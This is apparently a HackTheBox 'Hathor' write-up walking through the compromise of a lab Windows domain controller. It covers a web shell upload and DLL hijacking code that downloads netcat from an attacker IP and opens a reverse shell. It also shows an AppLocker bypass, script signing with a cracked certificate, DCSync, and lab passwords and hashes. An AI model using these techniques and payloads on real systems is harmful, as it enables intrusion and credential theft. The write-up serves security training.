# HackTheBox - Hathor ## NMAP ```bash PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 80/tcp open http Microsoft IIS httpd 10.0 |_http-favicon: Unknown favicon MD5: DCF8D506B68E858EE6F83FB988066A57 | http-methods: | Supported Methods: GET HEAD OPTIONS TRACE POST |_ Potentially risky methods: TRACE | http-robots.txt: 29 disallowed entries (15 shown) | /CaptchaImage.ashx* /Admin/ /App_Browsers/ /App_Code/ | /App_Data/ /App_Themes/ /bin/ /Blog/ViewCategory.aspx$ | /Blog/ViewArchive.aspx$ /Data/SiteImages/emoticons /MyPage.aspx |_/MyPage.aspx$ /MyPage.aspx* /NeatHtml/ /NeatUpload/ |_http-server-header: Microsoft-IIS/10.0 |_http-title: Home - mojoPortal 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-04-21 12:39:05Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=hathor.windcorp.htb 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=hathor.windcorp.htb | Subject Alternative Name: othername:, DNS:hathor.windcorp.htb | Issuer: commonName=windcorp-HATHOR-CA-1 | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2022-03-18T07:51:40 | Not valid after: 2023-03-18T07:51:40 | MD5: ccb0 22ba 7668 9b5b ab85 038c 5b18 1913 |_SHA-1: 2a0b a4da 1f04 33a7 e1a8 14d1 1dd3 6893 9eda 96e7 |_ssl-date: 2022-04-21T12:42:10+00:00; -1s from scanner time. 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=hathor.windcorp.htb | Subject Alternative Name: othername:, DNS:hathor.windcorp.htb | Issuer: commonName=windcorp-HATHOR-CA-1 | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2022-03-18T07:51:40 | Not valid after: 2023-03-18T07:51:40 | MD5: ccb0 22ba 7668 9b5b ab85 038c 5b18 1913 |_SHA-1: 2a0b a4da 1f04 33a7 e1a8 14d1 1dd3 6893 9eda 96e7 |_ssl-date: 2022-04-21T12:42:11+00:00; 0s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=hathor.windcorp.htb | Subject Alternative Name: othername:, DNS:hathor.windcorp.htb | Issuer: commonName=windcorp-HATHOR-CA-1 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49664/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49697/tcp open msrpc Microsoft Windows RPC 49699/tcp open msrpc Microsoft Windows RPC 61813/tcp open msrpc Microsoft Windows RPC ``` ## PORT 80 (HTTP) On the web page we get a page under consturction page also at the bottom we can sess an option to login Since we don't know the creds, we can try the default one but they didn't worked Running `disearch` to fuzzz for files and directories with don't get anyhting as most of the paths we get result in 403 status code Looking at `robots.txt` we do get some entries But still we were either getting 403,page not found or redirecting us back to login page except for `/Setup` which only tells that setup is disabled So in the end I decided to just sign up for an account And after logging there wasn't anything that we could do with a normal user on this site After looking for default credentials which I should have done that before, found a forum for mojoportal which talks about the default admin username to be `admin@admin.com` and the password `admin` https://www.mojoportal.com/Forums/Thread.aspx?pageid=5&t=2902~-1 This worked and we are now logged in as the administrator There were a lot of options and I spend a lot of time in understanding what do I need to do here as there wasn't any blog talking about exploits that could give you rce In filemanager we do see an option to upload files, since this is a windows server, it will be executing aspx files so we need to upload aspx to get command execution, I created a simple aspx file to test if we can upload this file This gives us an error, so we are not allowed to upload aspx files, instead of uploading an apsx file we can copy the contents and change the extension It won't show that our aspx file is copied in the current directory If we check the `System logs` we'll see a path ` /Data/Sites/1/media/` which is supposed to where that `htmlfragment` directory is This was is loading the htm file that we just edit but it wasn't loading the aspx file for some reason So I just went with copy pasting aspx web shell which I found from github and see if that will work as maybe need to import something to execute aspx files https://raw.githubusercontent.com/tennc/webshell/master/Backdoor%20Dev%20Shells/devshell.aspx And after editing and copying the file with aspx , visiting the link again, the aspx web shell worked We can execute the commands as the web user Looking at the perrmissions of this user, we are not in any interesting groups Going into `C:\Users` we see some users In C:\ dirve we see an interesting folder called `Get-bADpasswords` which is a powershell script that is use for finding bad or weak passwords for the AD users https://github.com/improsec/Get-bADpasswords We can get the results of this tool by going to `C:\Get-bADpasswords\Accessible\CSVs` Downloading the csv file we can see that `BeatriceMill` has a weak passsword and the hash of this account is `9cb01504ba0247ad5c6e08f7ccae7903`. I used crackstation to see if we can crack this hash But we weren't able to authenticate on smb, so I tried to use the credentials on ldap by using `windapsearch` ```bash windapsearch --dc 10.10.11.147 -d 'windcorp' -u 'BeatriceMill' -p '!!!!ilovegood17' -m users ``` This returned `3538` users so could be that we are not allowed to access smb but still it's an issue that we can't remote access through Beatrice if either smb or winrm is not available to us To get a shell as Beatrice we can abuse IIS impersonatioin that will allow the web application to run the code under Beatrice https://docs.microsoft.com/en-us/troubleshoot/developer/webapps/aspnet/development/implement-impersonation By following this we can copy the code for impersonatioin for `Visual C# .NET` In this section of the code we can call the aspx reverse shell function also replace the username,domain and the password for Beatrice so the final aspx file would look like this https://gist.github.com/AbdullahRizwan101/62cd19d0ad3ac2ebafcd6f4a9cea63c1 https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx After uploading it and getting a reverse shell as `BeatriceMill` Looking into `C:\` we can see a folder named `share` Here there's `autoit3` and furhter going into `scripts` folder we can see an autoit3 script having 7zip script and a dll, we can check the autoit3 script it's using that dll This is where we can do an attack called `DLL Hijacking` where we would be replacing contents of `7-zip64.dll` and let the autoit3 execute the 7zip script allowing it to run our dll https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dll-hijacking We can try making the dll execute `whoami` command to see with which user this script is being executed ```c++ #include BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ switch(dwReason){ case DLL_PROCESS_ATTACH: system("whoami > C:\\Windows\\Temp\\uwu.txt"); break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } ``` Compiling it to a windows shared library using `mingw32` https://stackoverflow.com/questions/2033997/how-to-compile-for-windows-on-linux-with-gcc-g ```bash x86_64-w64-mingw32-gcc ./check.c -shared -o 7-zip64.dll ``` And after a few minutes we'll see the text file which we appended the output of `whoami` command resulting to the user `ginawild` But getting a reverse shell wasn't simple as either netcat or a reverse shell payload was being flagged and getting removed So checking the `Applocker` with the powershell command ```powershell Get-AppLockerPolicy -effective -xml ``` This returned a lot of stuff, so we need to transfer it to our host machine, I used `tmux`'s copy option by using the prefix keys `ctrl+b + [` to enter in copy mode , then `ctrl+space` to start copy selection , `ctrl+w` to end selection and `ctrl+b +]` to paste in tmux pane We can then just save this in a file and open the xml in a browser Our focus should be on exe as we want to run netcat, so expanding this, we'll see a policy for allowing exe file to be executed Here it's allowing `Bginfo64.exe` to be executed and it's not checking the hash of the file so we could replace it with our `nc.exe` and make it execute it through that dll but before that let's see what permissions are there for Bginfo exe https://superuser.com/questions/322423/explain-the-output-of-icacls-exe-line-by-line-item-by-item Checking what these permissions mean, the `ITDep` group has read,execute and is a write owner for this exe, ginawild belongs to this group so we can replace this with `nc64.exe `through the dll and also make it execute it Make sure to use 1.12 version of netcat from here as the defender is going to flag it. https://eternallybored.org/misc/netcat/ ```c++ #include BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ switch(dwReason){ case DLL_PROCESS_ATTACH: system("curl 10.10.14.18:3333/nc64.exe -o C:\\share\\Bginfo64.exe); break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } ``` After it's going to be replaced we can then get a reverse shell ```c++ #include BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ switch(dwReason){ case DLL_PROCESS_ATTACH: system("C:\\share\\Bginfo64.exe 10.10.14.18 5555 -e cmd.exe"); break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } ``` After having a reverse shell as gina, I didn't found anything in directories but in the recycle bin there was a pfx file that we can read https://superuser.com/questions/395015/how-to-open-the-recycle-bin-from-the-windows-command-line If we try to read this pfx file, it's protected with a password I tried using beatrice's password but the shell got hung up, so to transfer this on my host machine I used `cerutil` to convert the contents to base64 ```powershell certutil -encode .\cert.pfx cert.b64 ``` But we don't want `BEGIN CERTIFICATE` as it won't get deecoded properly, we can remove these keywords with ```bash findstr /v CERTIFICATE .\cert.b64 > removed_headers.b64 ``` Copied the content into the tmux buffer and pasted on my terminal Using `pfx2john` we can generate the pfx hash and crack it using `john` ```bash python2 /opt/john/run/pfx2john.py ./cert.pfx > hash ``` ```bash john ./hash --wordlist=/opt/SecLists/Passwords/rockyou.txt ``` Now with this pfx certificate we can sign a powershell script and let it execute because if we go back to `C:\Get-bADpasswords`, the script `Get-bADpasswords.ps1` is being executed through a background process and it's signed Checking what permissions are there on this script We have the permissions to modify this script, so let's try replacing the contents to execute netcat which is the Bginfo64.exe ```powershell Start-Process -FilePath "C:\Share\Bginfo64.exe" -ArgumentList "10.10.16.20 7777 -e powershell.exe" ``` Right now, this script isn't signed, so it can't be run on the system We can sign this powershell script with ```powershell $CertPath ="C:\Get-bADpasswords\cert.pfx" $CertPass = "abceasyas123" $Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2($CertPath, $CertPass) Set-AuthenticodeSignature -Certificate $Cert -FilePath C:\Get-bADpasswords\Get-bADpasswords.ps1 ``` But it didn't work as the powershell was running in constrained mode There's a tool to sign to sign the files called `signtool` https://docs.microsoft.com/en-us/windows/win32/seccrypto/signtool Issue is that we can't download it directly, we need to install Windows Development kit, so I had to switch to my windows machine and install the developement kit only which is about 1.9 GB After installing the development kit, it should be in ``` C:\Program Files (x86)\Windows Kits\10\bin\x64 ``` Transferred `signtool.exe` on the target machine and then ran the command to sign the script https://www.praveenc.com/posts/code-signing-on-windows/ ```powershell .\signtool.exe sign /f C:\Users\ginawild\cert.pfx /p abceasyas123 C:\Users\ginawild\Get-bADpasswords.ps1 .\signtool.exe sign /f C:\Users\ginawild\cert.pfx /p abceasyas123 C:\Users\ginawild\Get-bADpasswords.ps1 ``` After this copy it to `C:\Get-bADpasswords` and run `run.vbs` to trigger this powershell script Now getting a shell as this user, we can see a folder named `Credentials` in Documents folder having a passowrd in form of secure string ## Rabbit Hole Reading this file we get a secure string password I looked up a video by ippsec on Reel machine in which he showcased how to convert it back to plain text https://www.youtube.com/watch?v=ob9SgtFm6_g&t=1973s&ab_channel=IppSec But this password wasn't for bpassrunner as there was user called `mailuser` in the username folder so this was a rabbit hole Checking in in which groups this user belongs to We are in `Account Operators` group with which can we add users into the domain https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/privileged-accounts-and-token-privileges So after digging too much for, this account had replicatioin rights , meaning that we can get the hash of any user we want https://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/ ```powershell Get-ADReplAccount -SamAccountName Administrator -Server 'hathor.windcorp.htb' ``` But this wasn't working on winrm or on smb We can get a golden ticket for the administrator using impacket's `get-TGT.py` It gives an error regarding "Clock skew too great", we just need to synchronize the time with domain controller using `ntpdate windcrop` and want the ntp to set to false as it's going to keep updating the time zone ```bash timedatectl set-ntp false sudo ntpdate windcorp ``` ```bash sudo python3 /opt/impacket/examples/getTGT.py windcorp.htb/Administrator -hashes :b3ff8d7532eef3 96a5347ed33933030f ``` We can also dump NTDS.dit using the administrator's ticket ## References - https://www.mojoportal.com/Forums/Thread.aspx?pageid=5&t=2902~-1 - https://github.com/tennc/webshell/blob/master/Backdoor%20Dev%20Shells/devshell.aspx - https://github.com/improsec/Get-bADpasswords - https://github.com/borjmz/aspx-reverse-shell - https://www.faqforge.com/powershell/get-list-windows-powershell-modules-can-imported/ - https://docs.microsoft.com/en-us/troubleshoot/developer/webapps/aspnet/development/implement-impersonation - https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx - https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dll-hijacking - https://stackoverflow.com/questions/2033997/how-to-compile-for-windows-on-linux-with-gcc-g - https://www.youtube.com/watch?v=ob9SgtFm6_g&t=1588s - https://superuser.com/questions/322423/explain-the-output-of-icacls-exe-line-by-line-item-by-item - https://book.hacktricks.xyz/generic-methodologies-and-resources/exfiltration - https://stackoverflow.com/questions/28625178/bash-certutil-command-not-found - https://dmfrsecurity.com/2017/01/07/windows-base64-encoding-and-decoding-using-certutil/ - https://docs.microsoft.com/en-us/windows/win32/seccrypto/signtool - https://stackoverflow.com/questions/31869552/how-to-install-signtool-exe-for-windows-10 - https://www.praveenc.com/posts/code-signing-on-windows/ - https://eternallybored.org/misc/netcat/ - https://www.youtube.com/watch?v=ob9SgtFm6_g&t=1973s&ab_channel=IppSec - https://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/ - https://techdirectarchive.com/2020/04/07/how-to-synchronizing-linux-system-clock-with-a-network-time-protocol-ntp-server/ - https://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/